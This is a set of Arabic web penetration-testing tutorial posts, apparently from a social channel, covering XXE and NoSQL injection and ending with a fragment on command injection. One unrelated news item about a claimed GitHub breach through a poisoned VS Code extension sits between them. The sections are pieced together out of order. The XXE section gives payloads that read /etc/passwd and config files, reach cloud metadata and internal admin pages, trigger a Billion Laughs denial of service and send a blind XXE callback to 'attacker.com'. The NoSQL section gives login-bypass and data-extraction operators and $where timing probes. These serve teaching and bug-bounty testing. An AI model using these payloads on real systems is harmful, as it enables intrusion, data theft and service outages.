📝 المرحلة الرابعة: الاختبار اليدوي (Manual Testing) – الجزء الثامن: XXE (XML External Entity) نكمل الاختبار اليدوي. اليوم نناقش ثغرة XXE، من الثغرات اللي تظهر في التطبيقات اللي تستخدم XML قديمة أو مضبوطة بشكل خاطئ. --- 🎯 وش هي XXE؟ XXE تعني XML External Entity. المهاجم يستغل قدرة معالج XML على استدعاء ملفات خارجية أو تنفيذ طلبات نيابة عن الخادم. باختصار: إذا كان الموقع يستقبل XML منك ويحلله، تقدر تخليه يقرأ ملفات من جهازه أو يرسل طلبات إلى جهات داخلية. مثال بسيط: تطبيق يتلقى XML عادي: <?xml version="1.0"?> <user><name>أحمد</name></user> المهاجم يرسل: <?xml version="1.0"?> <!ENTITY xxe SYSTEM "file:///etc/passwd"> <user><name>&xxe;</name></user> إذا ظهر محتوى ملف /etc/passwd في الرد، الثغرة مؤكدة. --- 🧠 ليش الثغرة خطيرة؟ • تقرأ أي ملف على الخادم (etc/passwd، config files، source code). • تسوي طلبات داخلية (SSRF) وتفحص الشبكة الداخلية. • تسوي هجوم رفض خدمة (Billion Laughs attack). • في بعض البيئات، تسبب تنفيذ أوامر (expect://). --- 🔍 كيف تكتشفها يدويًا؟ الخطوة الأولى: حدد الأماكن اللي ترسل XML • واجهات SOAP APIs (غالباً تنتهي بـ .wsdl أو /soap) • رفع ملفات XML (مثل config، data export) • بعض REST APIs تقبل XML مع Content-Type: application/xml • ميزات (features) قديمة في أطر العمل (XML-RPC، SAML) الخطوة الثانية: أرسل XML عادي وتأكد من الاستجابة استخدم Burp أو أي أداة، وأرسل: POST /api/xml Content-Type: application/xml <?xml version="1.0"?> <root>test</root> إذا رد الخادم بصفحة عادية أو رسالة خطأ XML، أنت في المكان الصحيح. الخطوة الثالثة: جرب قراءة ملفات بسيطة <?xml version="1.0"?> <!ENTITY xxe SYSTEM "file:///etc/passwd"> <root>&xxe;</root> إذا ظهر محتوى الملف، ثغرة XXE كلاسيكية. الخطوة الرابعة: جرب طرق بديلة (إذا منع file://) • استخدم php://filter لقراءة الملفات في PHP: <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> • استخدم http:// للـ SSRF: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> --- 🧪 أمثلة عملية (على مواقع التدريب) المثال الأول: قراءة ملف hosts <?xml version="1.0"?> <!ENTITY xxe SYSTEM "file:///etc/hosts"> <root>&xxe;</root> إذا ظهرت عناوين IP داخل الشبكة، الثغرة موجودة. المثال الثاني: SSRF عبر XXE <?xml version="1.0"?> <!ENTITY xxe SYSTEM "http://localhost/admin"> <root>&xxe;</root> إذا ظهر محتوى صفحة admin الداخلية، الثغرة خطيرة وتساعد في استكشاف الشبكة. المثال الثالث: هجوم Billion Laughs (DoS) يكبر الحجم ويسبب استهلاك الذاكرة: <?xml version="1.0"?> <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> ... <root>&lol9;</root> إذا تأخر الخادم أو تعطل، الثغرة موجودة. لا تجربها إلا في بيئة مسموحة. المثال الرابع: استخدام XInclude (عندما لا تقبل الـ DTD) بعض التطبيقات تمنع DTD، لكن تقبل XInclude: <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root> --- ⚠️ أنواع الحماية والتجاوزات الحماية: منع file:// التجاوز: استخدم php://filter أو netdoc:// أو ftp:// أو expect:// (إن وجد). الحماية: منع الـ DTD كاملة التجاوز: استخدم XInclude كما في المثال الرابع. الحماية: تعطيل external entities في معالج XML (الإعداد الصحيح) لا تجاوز مباشر. هنا XXE غير موجودة. لكن بعض الأطر تنسى تعطيلها في مكان آخر مثل SVG uploads أو XML-RPC. --- 📋 قائمة مراجعة سريعة لاختبار XXE · حدد أي نقطة نهاية تقبل XML (Content-Type: application/xml أو text/xml). · أرسل XML عادي وتأكد من الرد. · جرب <!ENTITY xxe SYSTEM "file:///etc/passwd"> · جرب <!ENTITY xxe SYSTEM "http://127.0.0.1:80/"> · جرب php://filter و expect:// إذا كان الخادم PHP. · جرب XInclude إذا حظر DTD. · لا تنسى تختبر رفع ملفات SVG (هي XML) و Word/Excel (docx, xlsx) القديمة. --- 💥 نصائح عملية • XXE أصبحت أقل شيوعًا في التطبيقات الحديثة، لكن لازالت موجودة في أنظمة قديمة، APIs بنيت قبل 2015، وتطبيقات داخلية (Intranet). • عندما تجرب file:///etc/passwd، لا تقف عنده. جرب تقرأ ملفات المصدر: file:///var/www/html/config.php • استخدم blind XXE عبر callback خارجي إذا ما ظهرت النتائج مباشرة: <!ENTITY % xxe SYSTEM "http://attacker.com/xxe"> %xxe;

أكدت منصة GitHub المملوكة لشركة مايكروسوفت تعرضها لاختراق أمني أدى إلى تسريب بيانات من نحو 3,800 مستودع أكواد داخلي (Internal Repositories) 🚨📂. وأعلنت مجموعة القرصنة الشهيرة TeamPCP المعروفة بتركيزها المالي وتخصصها في هجمات سلاسل التوريد مسؤوليتها عن العملية 💻💰. وقامت المجموعة بعرض الكود المصدري والبيانات المسروقة للبيع على منديات الدارك ويب مقابل مبالغ تتراوح بين 50,000 إلى 95,000 دولار 🕵️‍♂️🔐، مهددة بنشرها مجاناً إذا لم تجد مشترياً. تشير التحليلات الأمنية إلى أن الهجوم تم عبر نسخة ملوثة من الإضافة الشهيرة Nx Console قام موظف لدى GitHub بتثبيتها عبر متجر برامج التطوير الشهير Visual Studio Code (VS Code) التابع لشركة مايكروسوفت 🛠🐛. بمجرد تفعيل الإضافة، قامت البرمجية الخبيثة بسحب بيانات الاعتماد، والرموز الأمنية (Tokens) 🔑، ومفاتيح الوصول الحساسة المخزنة على جهاز المطور، مما سمح للمخترقين بالولوج إلى المستودعات الداخلية 🚪🔓. #HackerNews #GitHub

• NoSQL Injection يختلف تمامًا عن SQL. لا تجرب علامات الاقتباس (' أو ") لأن JSON لا يحتاجها أحيانًا. • كثير من التطبيقات الحديثة تحمي من SQL لكن تنسى NoSQL. لذلك تعلمها ضروري. • استخدم Burp Suite لترسل الطلبات المعدلة. أحيانًا التطبيق يتوقع Arrays (قوائم) مثل {"username": ["admin"]} بدل النص العادي. • إذا لقيت ثغرة، جرب تستخرج البيانات حرفًا حرفًا باستخدام regex في حلقة (هذا متقدم، استخدم أداة مثل NoSQL-Attack-Suite لاحقًا لكن افهم المبدأ يدويًا). • في بعض الأحيان التطبيق لا يعرض البيانات مباشرة، لكن تقدر تستخدم Boolean-based injection مثل SQL: {"$where": "this.username == 'admin' && this.password.charAt(0) == 'a'"}. • في Bug Bounty الحقيقي، NoSQL Injection تعتبر ثغرة عالية أو حرجة إذا أدت إلى سحب بيانات جميع المستخدمين. --- 📌 خلاصة اليوم NoSQL Injection تستهدف قواعد البيانات الحديثة مثل MongoDB. الفرق الأساسي: أنت تحقن كائنات JSON (باستخدام مشغلات $) بدلاً من SQL. أسهل طريقة لاكتشافها: تجاوز تسجيل الدخول باستخدام {"password": {"$ne": ""}} أو سحب بيانات باستخدام {"username": {"$regex": ".*"}}. المرحلة القادمة: الاختبار اليدوي (الجزء الثامن) – XXE (XML External Entity). 📌 للمتابعة: @Cyberlab10 #NoSQLInjection #ManualTesting #BugBounty #WebPentesting #MongoDB `

📝 المرحلة الرابعة: الاختبار اليدوي (Manual Testing) – الجزء السابع: NoSQL Injection نكمل الاختبار اليدوي. اليوم نناقش ثغرة NoSQL Injection. مع انتشار قواعد البيانات الحديثة مثل MongoDB و CouchDB، ظهر نوع جديد من الحقن يختلف عن SQL التقليدي. --- 🎯 وش هي NoSQL Injection؟ في SQL Injection، كنت تحقن أوامر SQL في استعلام قاعدة البيانات العلائقية. في NoSQL Injection، تحقن أوامر أو كائنات JSON في استعلام قاعدة البيانات غير العلائقية. معظم تطبيقات الويب الحديثة تستخدم MongoDB مع Node.js. الفرق هنا: الاستعلامات تُرسل كـ JSON، والمهاجم يعدل بنية هذا JSON. مثال بسيط: صفحة تسجيل دخول ترسل: {"username": "admin", "password": "1234"} المهاجم يغيرها إلى: {"username": "admin", "password": {"$ne": ""}} $ne تعني "not equal". الشرط يصبح: password لا يساوي نص فارغ، وهذا دائمًا صحيح. يدخل بدون كلمة مرور. --- 🧠 ليش الثغرة خطيرة؟ • تتجاوز تسجيل الدخول (Authentication Bypass). • تسحب بيانات جميع المستخدمين. • تسوي عمليات تعديل أو حذف بدون صلاحية. • تسبب استنزاف موارد الخادم (DoS) باستخدام استعلامات ثقيلة. • في بعض الحالات، تقرأ ملفات أو تنفذ أوامر (إذا كان التطبيق يستخدم eval() بشكل خاطئ). --- 🔍 كيف تكتشفها يدويًا؟ الخطوة الأولى: حدد الأماكن اللي ترسل JSON معظم تطبيقات NoSQL ترسل طلبات POST أو PUT بمحتوى JSON. افتح F12 > Network tab، وشوف الطلبات اللي فيها Content-Type: application/json. الخطوة الثانية: جرب حقن مشغلات (operators) بسيطة في MongoDB، المشغلات تبدأ بعلامة $. جرب تغير قيمة أي حقل من نص لـ كائن: في حقل username: {"username": "admin"} غيّر إلى: {"username": {"$ne": null}} {"username": {"$gt": ""}} {"username": {"$regex": "^a"}} الخطوة الثالثة: في حقل password أو أي حقل آخر جرب تجاوز تسجيل الدخول: {"username": "admin", "password": {"$ne": ""}} {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$regex": "."}, "password": {"$regex": "."}} الخطوة الرابعة: في معاملات URL (GET) بعض التطبيقات تقبل NoSQL في GET parameters. /search?username=admin جرب: /search?username[$ne]=admin /search?username[$regex]=^a /search?username[$gt]= إذا تغيرت النتائج، الثغرة موجودة. --- 🧪 أمثلة عملية (على مواقع التدريب) المثال الأول: تجاوز تسجيل الدخول طلب POST إلى /login: Content-Type: application/json Body: {"username": "admin", "password": "1234"} جرب: {"username": "admin", "password": {"$ne": ""}} إذا دخلت وحساب admin موجود، نجحت. المثال الثاني: سحب بيانات مستخدم (بدون علم) طلب POST إلى /api/users/search Body: {"username": "ahmed"} جرب: {"username": {"$regex": ".*"}} هذا يرجع جميع المستخدمين. جرب تحدد حروف: {"username": {"$regex": "^a"}} (كل من يبدأ بحرف a) المثال الثالث: حقن في GET parameter /search?username=admin جرب: /search?username[$ne]=admin /search?username[$regex]=.* /search?username[$gt]= المثال الرابع: استعلام متقدم يستغل $where (خطر جدًا) بعض التطبيقات القديمة تسمح بـ $where مع JavaScript. Body: {"username": "admin", "$where": "this.password.length == 4"} يكتشف المستخدم اللي كلمة مروره طولها 4. Body: {"$where": "sleep(5000)"} إذا تأخر الرد، الثغرة موجودة ويمكن تؤدي لـ RCE إذا كان التطبيق يسمح بوظائف خطيرة. --- ⚠️ مشغلات (Operators) مهمة في NoSQL (MongoDB) $ne (not equal): لا يساوي $gt (greater than): أكبر من $lt (less than): أصغر من $regex (regular expression): تطابق نمط $in (in array): ضمن قائمة $nin (not in array): ليس ضمن قائمة $where (JavaScript evaluation): خطير جدًا، ينفذ كود JS $exists (field exists): هل الحقل موجود؟ --- 🛠️ أدوات يدوية مفيدة ما تحتاج أدوات معقدة في البداية. مجرد Burp Suite أو حتى DevTools كافية. جرب تعدل JSON مباشرة في Burp Repeater. إذا الموقع يرفض طلبك لأن JSON غير صحيح، جرب ترميز الأحرف كـ Unicode. --- 📋 قائمة مراجعة سريعة لاختبار NoSQL Injection · حدد أماكن الـ JSON (POST, PUT, PATCH). · جرب تغير أي قيمة نصية إلى {"$ne": null} أو {"$gt": ""}. · جرب تجاوز تسجيل الدخول باستخدام $ne في حقل password. · جرب في GET parameters باستخدام [$ne] في اسم المعامل. · جرب استعلامات $regex لاستخراج بيانات حرفًا حرفًا. · جرب $where مع تأخير زمني (sleep) أو طلب خارجي. · لا تنسى تختبر في الـ GraphQL endpoints أيضًا (بعضها يستخدم NoSQL خلف الكواليس). --- 💥 نصائح عملية

Command Injection تتيح لك تنفيذ أوامر مباشرة على نظام التشغيل. الثغرة نادرة لكنها قاتلة عندما توجد. الاكتشاف اليدوي سهل: جرب تفصل أمرك عن أمر التطبيق باستخدام ; أو | ثم ls أو sleep. إذا وجدتها، أنت تتحكم في الخادم بالكامل. المرحلة القادمة: الاختبار اليدوي (الجزء السابع) – NoSQL Injection. 📌 للمتابعة: @Cyberlab10 #CommandInjection #ManualTesting #BugBounty #WebPentesting #RCE `